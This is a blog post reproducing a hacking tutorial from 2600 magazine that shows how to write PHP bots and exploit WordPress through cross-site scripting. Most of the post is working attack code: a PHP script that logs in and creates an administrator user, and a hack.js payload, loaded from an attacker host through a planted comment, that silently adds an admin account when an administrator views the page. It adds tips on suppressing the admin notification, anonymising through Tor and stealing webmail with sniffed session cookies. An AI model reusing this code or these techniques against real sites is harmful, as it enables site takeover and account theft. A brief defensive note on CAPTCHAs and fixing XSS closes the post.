Internet Hacking 101, with PHP

June 1, 2011
By

The point is, a web site (blog?) with an option or requirement to login before commenting (or blogging) and no captcha, may be easy to get into as an admin. Make sure your web site is secure.

Micah Lee, in 2600, The Hacker Quarterly tells how to “write code that automatically loads web
pages, submits forms, and [can create an admin user-id in WordPress ... for example], while looking like it’s
human. These techniques can be used to exploit cross-site scripting (XSS) vulnerabilities, download copies of web-based databases, cheat in web games, and quite a bit more … using PHP and Javascript. I’m primarily going to use wordpress as an example website that I’ll be attacking, but that’s only because I’m a fan of wordpress. This stuff will work against any website, as long as you can find an XSS hole.”

see www.noisebridge.net/pipermail/noisebridge-discuss/2010-May/014197.html for the complete article.

A quick note about cookies

When you login to a website, the only way it knows that you’re still logged in the next time you reload the page is because you send your cookie back to the website as a line in the headers. You pass cookies to the web server with the “Cookie:” header, and the web server sets cookies in your browser with the “Set-Cookie:” header.

This is important to understand because a lot of bots you write might require you to correctly handle cookies to do what you want, especially if you want to do something like exploit an XSS bug, make a social networking worm, or write a script that downloads and stores everything from someone’s web mail account.

Some tools to see what is going on

You rarely actually see what HTTP headers are you’re sending to web servers, and what headers are included in the responses. For writing this article I used the Firefox extensions Live HTTP Headers and Tamper Data. Other Firefox extensions that you might find useful are FireBug and Web Developer Toolbar (useful for cookie management). Also, Wireshark and tcpdump are great tools for any sort of network monitoring. And if you’re trying this on more complicated sites, especially ones with lots of ajax, I highly suggest using an intercepting proxy like Paros or WebScarab.

Start with something simple

With PHP, the best way to write a web bot is to use the curl functions. The curl functions to know are curl_init(), curl_setopt(), curl_exec(), and curl_close(). Here’s an example of a simple PHP script that checks 2600′s twitter feed and prints out the latest tweet. And, just for laughs, we’ll pretend to be using IE6 on Windows.

<?php
// get twitter.com/2600, and store it in $output
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://twitter.com/2600');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1)');
$output = curl_exec($ch);
curl_close($ch);

// search through $output for the latest tweet
$start_string = '<span class="entry-content">';
$start = strpos($output, $start_string, 0) + strlen($start_string);
$end = strpos($output, '</span>', $start);
$tweet = substr($output, $start, $end-$start);

// display this tweet to the screen
echo(trim($tweet)."\n");
?>

Go ahead and make a new php file and put this code in it. Run it either from a web browser (you need to copy it to the web root of a computer with a web server installed) or the command line (type “php filename.php”, as long as you have php and libcurl installed). Assuming twitter hasn’t changed their layout since I wrote this, it should print out 2600′s latest tweet.

In the first block of code, curl_init() gets called and stores a handle to the curl object in the variable $ch. The next 3 lines of code adds options to this curl object: the URL of the website it will be loading, that we want curl_exec to return all the HTML code, and we set a fake user agent string pretending we’re using IE6. The next line of code runs curl_exec(), which actually sends the HTTP request to http://twitter.com/2600, and then stores everything returned into $output. And then the next line, just to be good, closes the curl object. Now we have all the HTML from that request stored in the variable $output, as one large string.

The next block of code searches through the returned HTML code for the first tweet. It uses very common string handling functions: strpos(), strlen(), and substr(). Every programming language has some of this stuff built in, and if you’re not familiar with these functions I encourage you to look them up. Basically, this searches $output for the first occurrence of the string ‘<span class=”entry-content”>’, and then the next ‘</span>’ after that, and stores what’s between those in the variable $tweet. I figured this out by going to twitter.com/2600 myself and viewing the source of the page.

And then the final echo() function just prints out $tweet.

Automatically creating WordPress users

Now let’s do something a little more difficult. Let’s login to a wordpress website (for this example, hosted at http://localhost/wordpress/) and add a new administrator user. I’ll do this manually first and record the HTTP conversation with the Live HTTP Headers extension.

POST /wordpress/wp-login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3
[some extra headers...]
Referer: http://localhost/wordpress/wp-login.php
Cookie: wordpress_test_cookie=WP+Cookie+check
Content-Type: application/x-www-form-urlencoded
Content-Length: 116

log=admin&pwd=supersecret&wp-submit=Log+In&redirect_to=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2F&testcookie=1

This time I sent a POST request (the ones above for 2600.com and twitter.com were GET requests), and this time I also sent a Referer header, and a Cookie header. POST and GET are similar, but GET requests send all the data through the URL, while POST requests send the data beneath the headers in the POST request. As you can see, beneath the POST request headers is a URL-encoded string of name-value pairs. “log” is set to “admin” (which is the username), “pwd” is set to “supersecret” (which is the password), and then there are other hidden fields that get sent to: “wp-submit” is “Log In”, “redirect_to” is “http://localhost/wordpress/wp-admin/”, and “testcookie” is “1″.

And here was the response:


HTTP/1.1 302 Found
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/wordpress/
Set-Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1274755424%7C70045a572d5f43ad9d0fe822683fe7f6;
path=/wordpress/wp-content/plugins; httponly
Set-Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1274755424%7C70045a572d5f43ad9d0fe822683fe7f6;
path=/wordpress/wp-admin; httponly
Set-Cookie: wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1274755424%7C32f9298d9371bbc7f684dafb2ce161bb;
path=/wordpress/; httponly
Location: http://localhost/wordpress/wp-admin/
[and some more headers here too...]

After logging in, the website sets four cookies, and each cookie has a path. As you can see, two of the cookies have the same name and value, but different paths. Don’t worry about this, the web browser will only send one copy of this cookie. Now I’m going ahead and adding a new user called “hacker” with the email address “hacker at fake-email-address.com” and the password “letmein”. Here’s the post request:

POST /wordpress/wp-admin/user-new.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3
[more headers...]
Referer: http://localhost/wordpress/wp-admin/user-new.php
Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1274758230%7C2fd245efd985716182bf76c2a5d44693;
wordpress_test_cookie=WP+Cookie+check; wp-settings-time-1=1274585390;
wp-settings-1=m6%3Do;
wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1274758230%7C037c433811bd050823ae570f3b3d38d5
Content-Type: application/x-www-form-urlencoded
Content-Length: 236

_wpnonce=07cd245b42&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fuser-new.php&action=adduser&user_login=hacker&first_name=&last_name=&email=hacker%40fakeemailaddress.com&url=&pass1=letmein&pass2=letmein&role=administrator&adduser=Add+User

In order to add a new user, I need to send a POST request to /wordpress/wp-admin/user-new.php. I need to pass along a cookie string with the cookies that were set earlier. The data for the POST request needs to include these fields: “_wpnonce”, “_wp_http_referer”, “action”, “user_login”, “first_name”, “last_name”, “email”, “url”, “pass1″, “pass2″, “role”, and “adduser” (although several of the values are blank).

The first field, _wpnonce, is going to cause a problem. That’s there specifically to prevent people like me from doing things like this. The value is “07cd245b42″, but how are we supposed to know that? If I look at the source code of the add user page, it contains this: <input type=”hidden” id=”_wpnonce” name=”_wpnonce” value=”07cd245b42″ />

To get that value, we’ll just need to send a GET request to /wordpress/wp-admin/user-new.php first, search through its HTML for the hidden field called “_wpnonce”, and then submit the form with that value. Here’s a PHP script that does all of that:

<?php
// set the url of the wordpress site to do this on
$wp_url = 'http://localhost/wordpress';

// this will only work if we already have a username and password
$username = 'admin';
$password = 'supersecret';

// set the username, password, and email of the new user we will create
$new_username = 'hacker';
$new_password = 'letmein';
$new_email = 'hacker at fakeemailaddress.com';

// make up a user agent to use, lets say IE6 again
$user_agent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)';

// start by logging into wordpress (using POST, not GET)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url.'/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
'log='.urlencode($username).'&pwd='.urlencode($password).
'&wp-submit=Log+In&redirect_to=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2F&testcookie=1');
curl_setopt($ch, CURLOPT_REFERER, $wp_url.'/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
$output = curl_exec($ch);
curl_close($ch);

// search $output for the four cookies, add them to an array
$index = 0;
$cookieStrings = array();
for($i=0; $i<4; $i++) {
    $start_string = 'Set-Cookie: ';
    $start = strpos($output, $start_string, $index) + strlen($start_string);
    $end_string = ';';
    $end = strpos($output, $end_string, $start);
    $cookieStrings[] = substr($output, $start, $end-$start);
    $index = $end + strlen($end);
}

// turn cookies into a single cookie string (skipping 4rd cookie, since it's the same as 2nd)
$cookie = $cookieStrings[0].'; '.$cookieStrings[1].'; '.$cookieStrings[3];

// load the add user page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url.'/wp-admin/user-new.php');
curl_setopt($ch, CURLOPT_REFERER, $wp_url.'/wp-admin/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$output = curl_exec($ch);
curl_close($ch);

// search for _wpnonce hidden field value
$start_string = '<input type="hidden" id="_wpnonce" name="_wpnonce" value="';
$start = strpos($output, $start_string, 0) + strlen($start_string);
$end_string = '" />';
$end = strpos($output, $end_string, $start);
$_wpnonce = substr($output, $start, $end-$start);

// add our new user
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url.'/wp-admin/user-new.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
'_wpnonce='.urlencode($_wpnonce).
'&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fuser-new.php&action=adduser&user_login='
.urlencode($new_username).'&first_name=&last_name=&email='
.urlencode($new_email).'&url=&pass1='.urlencode($new_password).'&pass2='
.urlencode($new_password).'&role=administrator&adduser=Add+User');
curl_setopt($ch, CURLOPT_REFERER, $wp_url.'/wp-admin/user-new.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$output = curl_exec($ch);
curl_close($ch);
?>

This little piece of code totally works (with wordpress 2.9.2 anyway). Change the $wp_url, $username, and $password to a wordpress site you control, and run it. Go look at your wordpress users. You’ll have a new administrator user called “hacker”.

Thoughts on PHP bots

Using PHP and curl, you can write a bot that can do (almost) anything a human can do, as long as you’re able to do it by hand first and see what the HTTP headers look like. And since it’s a bot, it’s simple to run it, say, 150000 times in a row, or to run it once every 5 minutes until you want to stop it.

to be anonymous

It’s easy to use curl through a proxy server, and in fact you can even use curl through the Tor network (though it will be much slower). Just look up the docs for curl_setopt() to find out how.

I mentioned writing bots that can download and store all the email in a webmail account. Well, webmail uses HTTP, which means it uses cookies to keep track of active sessions. It’s totally feasible to write a PHP script that, given a cookie string for someone’s Yahoo! mail account (which you can get by sniffing traffic on a public wifi network), can download and store all of their email as long they don’t log out before your script is done running.

These are all things you can do with PHP, or with any other server-side language like Ruby, Python, Perl, or C. But Javascript on the other hand runs in web browsers, and you can get other people (like admins or other users of websites you’re trying to hack) to run your code in their browsers if you exploit an XSS bug.

What is XSS?

An XSS bug is where you can submit information that includes Javascript code to a website, that gets displayed back to users of that website. So, for example, maybe your First Name is ‘Bob’, and your Last Name ‘<script>alert(0)</script>’. If, after you submit this form, it says your first name is ‘Bob’ and it pops up an alert box that says 0, that means you’ve found an XSS bug. If someone else goes to your profile page, it will pop up an alert box for them that says 0 too.

Popping up an alert box is harmless enough, but with the power of ajax, you can do a lot more sinister stuff. Admins often have the ability to add new users to websites. If an admin stumbles upon your profile where the Last Name field actually contains Javascript, that code could silently add yourself as an admin user on the site, and even alert you that this has happened so you can login, escalate privileges to command execution on their server, and cover your tracks.

People use ajax as a buzzword to mean any sort of fancy Javascript. Really, all ajax is is the ability for Javascript to make its own HTTP requests and retrieve the responses, similar to the curl library in PHP.

WordPress XSS -OR- JavaScript

The PHP script that added a new user is a good start, but it’s not very useful for hacking websites. You need to already have access! With XSS, you trick someone else who does have access to run it for you. Pretend with me that there’s an XSS bug in the comment form in wordpress. You can post a comment and include Javascript code that will then get executed whenever anyone loads the page. You post a comment that says:

Good point! And all the other commentors are a bunch of trolls!
<script src=http://myevilsite/hack.js></script>

Whenever anyone loads this page, it executes http://myevilsite/hack.js on your site. Here’s what’s in hack.js:

// setup
var wp_url = ‘http://localhost/wordpress’;
var new_username = ‘hacker’;
var new_password = ‘letmein’;
var new_email = ‘hacker at fake-email-address.com’;

// create an ajax object and return it
function ajaxObject() {
var http;
if(window.XMLHttpRequest) { http=new XMLHttpRequest(); }
else{ http=new ActiveXObject(“Microsoft.XMLHTTP”); }
return http;
}

// load the user page
var http1 = ajaxObject();
http1.open(“GET”,wp_url+”/wp-admin/user-new.php”,true);
http1.onreadystatechange = function() {
if(http1.readyState != 4)
return;

// search for _wpnonce hidden field value
var start_string = ‘<input type=”hidden” id=”_wpnonce”
name=”_wpnonce” value=”‘;
var start = http1.responseText.indexOf(start_string, 0) +
start_string.length;
var end_string = ‘” />’;
var end = http1.responseText.indexOf(end_string, start);
var _wpnonce = http1.responseText.substring(start,end);

// add out new user
var http2 = ajaxObject();
http2.open(“POST”,wp_url+”/wp-admin/user-new.php”,true);
http2.setRequestHeader(“Content-type”,”application/x-www-form-urlencoded”);
http2.send(‘_wpnonce=’+escape(_wpnonce)+’&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fuser-new.php&action=adduser&user_login=’+escape(new_username)+’&first_name=&last_name=&email=’+escape(new_email)+’&url=&pass1=’+escape(new_password)+’&pass2=’+escape(new_password)+’&role=administrator&adduser=Add+User’);
}
http1.send();

If an admin loads this page, a new administrator user called “hacker” will silently get created. If you want to test this out on a wordpress site you control, go ahead and upload this script as hack.js somewhere, and include it in a post (by editing the post in HTML mode). Make sure you delete the “hacker” user first if it’s already there. Then, while you’re logged in, load the post page, and go check to see what wordpress users your site has. There will be a new one.

This particular script could be improved in a couple of ways. For example, you can check to see if the user is logged into wordpress first before trying to add a new user (there will be a lot more traffic in the logs if each and every visitor sends extra requests to wp-admin/user-add.php). Also, by default wordpress sends an email to the administrator of the site when a new user account gets created, so really this won’t be silent at all. To get around this, you can have the script first load the wordpress settings page to see what the admin email address is set to, then post the form to change the email address to your own email address, then add a new user, then submit the settings form again to change the email address back. In this way, the real admin would never get an email about it, and you would instead.

It might take a week for the admin to get around to running your code, it might just take a day, or they might never run it. If you want to be alerted when it happens, you can use ajax to do that too. Make a page on a website you control (say, http://myevilsite/alert.php) that sends you an email when it gets loaded. Then make the ajax GET that script when it gets executed, and you’ll get an email when your new account is created. If you’re creative, the possibilities are endless.

There are two ways to protect your websites against automated web bots and crazy XSS attacks. First, the only way to defeat bots is to include some sort of CAPTCHA (those annoying images with skewed letters you need to retype). Make sure it actually works — I’ve seen forms with CAPTCHAs that still work fine if you ignore the CAPTCHA field. You’re CAPTCHA doesn’t have to be skewed letters. [it does not even need to be an image. see below] All it is is a simple Turing test, something that’s easy for humans to answer but [un-predictable] for computers, which means you’ll have to test your users before they can continue if it’s important to you to thwart bots. And finally, fix all your XSS holes! XSS gets dismissed as a lowly not-very-harmful vulnerability because “so what if someone pops up an alert box?”. Hopefully this article will show you that it’s a bit more dangerous than that.

One Response to Internet Hacking 101, with PHP

  1. wayne h. on August 27, 2012 at 5:12 pm

    This is very interesting. I have a need to automate a login to a website with a username & password and then to right mouse-click on a link and save it. How would you accomplish this in php ?

Leave a Reply

Your email address will not be published. Required fields are marked. *
Comments will be approved as soon as possible.